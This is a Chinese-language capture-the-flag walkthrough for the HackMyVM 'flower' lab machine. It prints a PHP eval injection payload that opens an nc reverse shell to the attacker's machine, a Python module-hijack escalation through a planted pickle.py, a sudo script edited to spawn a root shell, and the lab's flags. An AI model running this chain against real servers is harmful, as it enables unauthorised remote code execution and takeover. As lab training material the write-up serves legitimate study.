HackMyVm-flower

端口扫描

nmap -sT --min-rate 10000 -p- 192.168.56.114

PORT   STATE SERVICE
80/tcp open  http

web端渗透

传参为MjErMzQ=

base64解码是21+34

猜测后端函数是eval

<?php
if (isset($_POST["petals"])){
	echo eval("return ".base64_decode($_POST["petals"]).";").' petals ';
}
?>

system("nc 192.168.56.101 1234 -e /bin/bash");

POST / HTTP/1.1
Host: 192.168.56.114
Content-Length: 71
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.114
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.56.114/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

petals=c3lzdGVtKCJuYyAxOTIuMTY4LjU2LjEwMSAxMjM0IC1lIC9iaW4vYmFzaCIpOw==

提权

(remote) www-data@flower:/home/rose/diary$ sudo -l
Matching Defaults entries for www-data on flower:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on flower:
    (rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py

可以无密码执行/home/rose/diary/diary.py

(remote) www-data@flower:/home/rose/diary$ cat diary.py
import pickle

diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"}
p = open('diary.pickle','wb')
pickle.dump(diary,p)

写入pickle.py

echo "import os;os.system('/bin/bash')" > pickle.py

sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py

user’s flag

rose@flower:~$ cat user.txt 
HMV{R0ses_are_R3d$}

rose@flower:~$ sudo -l
Matching Defaults entries for rose on flower:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rose may run the following commands on flower:
    (root) NOPASSWD: /bin/bash /home/rose/.plantbook

rose@flower:~$ ls -lah /home/rose/.plantbook
-rwx------ 1 rose rose 128 Oct 13 03:22 /home/rose/.plantbook
rose@flower:~$ echo "bash -p" >> /home/rose/.plantbook
rose@flower:~$ cat /home/rose/.plantbook
#!/bin/bash
echo Hello, write the name of the flower that u found
read flower
echo Nice, $flower submitted on : $(date)
bash -p
bash -p
rose@flower:~$ sudo -u root /bin/bash /home/rose/.plantbook
Hello, write the name of the flower that u found

Nice, submitted on : Sun Oct 13 03:35:43 EDT 2024

root’s flag

root@flower:/home/rose# cat /root/root.txt 
HMV{R0ses_are_als0_black.}